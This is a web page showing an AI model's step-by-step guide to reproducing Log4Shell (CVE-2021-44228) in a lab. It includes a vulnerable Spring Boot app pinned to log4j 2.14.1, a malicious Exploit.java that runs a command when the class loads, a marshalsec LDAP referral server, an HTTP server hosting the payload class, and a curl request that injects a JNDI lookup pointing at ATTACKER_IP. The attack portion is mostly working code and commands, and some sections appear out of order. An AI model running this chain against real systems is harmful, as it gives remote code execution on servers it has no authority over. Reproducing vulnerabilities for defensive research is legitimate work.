How to reproduce CVE-2021-44228
- User
How to reproduce CVE-2021-44228
Assistant
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.
How to reproduce CVE-2021-44228
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.
Okay, I can guide you through the steps to reproduce CVE-2021-44228 (Log4Shell) in a safe and isolated lab environment.
🚨 EXTREMELY IMPORTANT WARNINGS 🚨
Conceptual Overview of the Attack:
${jndi:ldap://attacker-ip:1389/Exploit}) to the vulnerable application.Lab Setup Components:
marshalsec).Prerequisites (Install on your Attacker/Victim VMs as needed):
Step 1: Set up the Vulnerable Application (on Victim VM)
Let's create a simple Spring Boot application.
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.6</version> <!-- Using a version known to bundle vulnerable Log4j transitive deps or allows easy override -->
<relativePath/>
</parent>
<groupId>com.example</groupId>
<artifactId>log4shell-vulnerable-app</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>log4shell-vulnerable-app</name>
<description>Vulnerable Log4Shell App</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- Explicitly include a vulnerable version of Log4j -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- VULNERABLE VERSION -->
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version> <!-- VULNERABLE VERSION -->
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
Step 2: Set up the Attacker Infrastructure (on Attacker VM)
Let ATTACKER_IP be the IP address of your Attacker VM.
Create the Malicious Java Class (Exploit.java):
This class will be executed on the victim machine.
// Exploit.java
public class Exploit {
static {
try {
// Simple payload: create a file on the victim machine
// On Windows, you might use: "cmd.exe /c calc"
// On Linux/macOS: "touch /tmp/pwned_by_log4shell" or "gnome-calculator"
String command = "touch /tmp/pwned_by_log4shell.txt"; // For Linux/macOS
// String command = "calc.exe"; // For Windows
Runtime.getRuntime().exec(command);
System.out.println("Payload executed: " + command);
} catch (Exception e) {
e.printStackTrace();
}
}
// Constructor can also be used
public Exploit() {
// Static block is often preferred for JNDI exploits as it runs on class load
}
}
Compile it:
javac Exploit.java
This will create Exploit.class.
Serve the Malicious Class via HTTP:
Navigate to the directory containing Exploit.class and start a simple HTTP server.
If you have Python 3:
python3 -m http.server 8000
If you have Python 2:
python -m SimpleHTTPServer 8000
This server will run on http://ATTACKER_IP:8000/.
Set up the Malicious LDAP Server (using marshalsec):
marshalsec (a popular tool for JNDI exploitation research):
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
Step 3: Trigger the Exploit
Now, from any machine that can reach the Victim VM (could be the Attacker VM or another), send a crafted request to the vulnerable application.
The payload string will be: ${jndi:ldap://ATTACKER_IP:1389/Exploit}
(The last /Exploit or any other path part in the LDAP URL is just an identifier for marshalsec, the actual class name is specified in the LDAPRefServer command with #Exploit).
Use curl to send the request:
curl http://VICTIM_IP:8080/ -H "X-Api-Version: \${jndi:ldap://ATTACKER_IP:1389/Exploit}"
VICTIM_IP with the IP of your vulnerable application.ATTACKER_IP with the IP of your attacker machine running LDAP and HTTP servers.\ before $ if you're running this in a shell that might interpret ${...}. Or use single quotes: X-Api-Version: '${jndi:ldap://ATTACKER_IP:1389/Exploit}'Step 4: Observe the Results
Attacker's LDAP Server Logs: You should see a connection attempt from the Victim VM to your LDAP server (ATTACKER_IP:1389). marshalsec will show something like:
Send LDAP reference result for Exploit redirecting to http://ATTACKER_IP:8000/Exploit.class
Attacker's HTTP Server Logs: You should see a GET request for /Exploit.class from the Victim VM. Python's simple HTTP server will log this.
VICTIM_IP - - [...] "GET /Exploit.class HTTP/1.1" 200 -
Victim Machine:
/tmp/pwned_by_log4shell.txt. If you used calc.exe on Windows, Calculator should pop up.System.out.println in your payload.Troubleshooting & Considerations:
com.sun.jndi.ldap.object.trustURLCodebase set to false by default. This blocks JNDI remote class loading via LDAP.
trustURLCodebase=true OR an older JDK on the victim.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true if using a newer JDK, but this is not a default scenario.touch command or calc.exe are simple. Real-world payloads would establish reverse shells, etc.curl with headers is more direct.Cleanup:
marshalsec LDAP server./tmp/pwned_by_log4shell.txt).This detailed guide should allow you to reproduce Log4Shell in your controlled lab. Remember to be responsible and use this knowledge ethically. The primary defense is to update Log4j to version 2.17.1 or later (for Java 8) or newer appropriate versions for your Java runtime.
src/main/java/com/example/log4shellvulnerableapp/VulnerableController.java:
package com.example.log4shellvulnerableapp;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class VulnerableController {
private static final Logger logger = LogManager.getLogger(VulnerableController.class);
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
// The vulnerable log statement
logger.info("Received request with X-Api-Version: " + apiVersion);
return "Hello! API Version: " + apiVersion;
}
}
src/main/java/com/example/log4shellvulnerableapp/Log4shellVulnerableAppApplication.java:
package com.example.log4shellvulnerableapp;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Log4shellVulnerableAppApplication {
public static void main(String[] args) {
SpringApplication.run(Log4shellVulnerableAppApplication.class, args);
}
}
Build and Run: Open a terminal in the project root directory:
mvn clean package
java -jar target/log4shell-vulnerable-app-0.0.1-SNAPSHOT.jar
The application will start, usually on port 8080. Note the IP address of this Victim VM (e.g., VICTIM_IP).
Exploit.class is hosted:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER_IP:8000/#Exploit" 1389
http://ATTACKER_IP:8000/: Base URL where your malicious class is served.#Exploit: The class name to be loaded (must match your Exploit.class).1389: The port for the LDAP server.You should see output like: Listening on 0.0.0.0:1389